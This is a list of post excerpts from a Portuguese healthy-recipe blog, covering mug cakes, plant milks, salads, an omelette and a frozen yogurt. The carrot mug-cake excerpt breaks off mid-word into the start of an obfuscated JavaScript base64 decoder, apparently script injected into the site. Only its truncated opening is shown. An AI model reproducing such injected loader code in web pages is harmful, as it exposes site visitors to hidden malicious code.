Bolo de maçã na caneca sem açúcar e sem farinha
Bolo de maçã na caneca sem açúcar e sem farinha Há dias em que a vontade de comer um bolo é muito forte, especialmente se estamos a fazer dieta… E por isso hoje, trago-lhe uma solução fantástica: um bolo de maçã na caneca sem açúcar e sem farinha. É um bolo para...
Receita de leite de coco e de amêndoa – 2 alternativas ao leite de origem animal
Receita de leite de coco e de amêndoa – 2 alternativas ao leite de origem animal São muitos os relatos de pessoas que, a partir de certa idade, começam a sentir desconforto ao ingerir leite de origem animal. São muitas as queixas de barriga inchada e,...
Salada de melancia com hortelã e muffins de mirtilos
Salada de melancia com hortelã e muffins de mirtilos Hoje trago-lhe uma receita de uma salada fresca, saudável e deliciosa para o verão: salada de melancia com hortelã! E como o artigo que fiz sobre os mirtilos foi tão partilhado, ensino também a fazer muffins de...
Bolo na caneca de cenoura e coco ralado
Bolo na caneca de cenoura e coco ralado Um docinho cai sempre bem, mas para que não fique com grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
2 Saladas para combater os excessos e desintoxicar o organismo
2 Saladas para combater os excessos e desintoxicar o organismo Após os dias em que nos deixamos levar e cometemos excessos, devemos pensar bem em que como é que desintoxicamos o organismo. Já lhe dei a receita de um sumo verde detox e de um chá detox e hoje...
Omelete verde com tomate cherry, mozarela e amêndoas laminadas
Omeleta verde com tomate cherry, mozarela e amêndoas laminadas Olá! Já lhe disse antes que os ovos são uma importante fonte de proteína, com muitíssimos benefícios para a nossa saúde. Eu gosto de dar-lhe receitas que são manifestamente saudáveis, mas também...
7 Benefícios da laranja + bolo de laranja na caneca
7 Benefícios da laranja + bolo de laranja na caneca Hoje trago-lhe mais dicas saudáveis e escolhi escrever sobre os benefícios da laranja. Este é um dos frutos preferidos dos portugueses e eu não sou excepção! A laranja pode ser consumida de diversas formas quer...
Frozen de iogurte e papaia – Um refrescante delicioso
Frozen de iogurte e papaia – Um refrescante delicioso Os dias de calor estão cada vez mais intensos e sabe mesmo bem um refrescante. Sugiro-lhe um frozen de iogurte e papaia, por isso, dou-lhe a receita para fazer em casa. É muito fresco e o melhor é que é...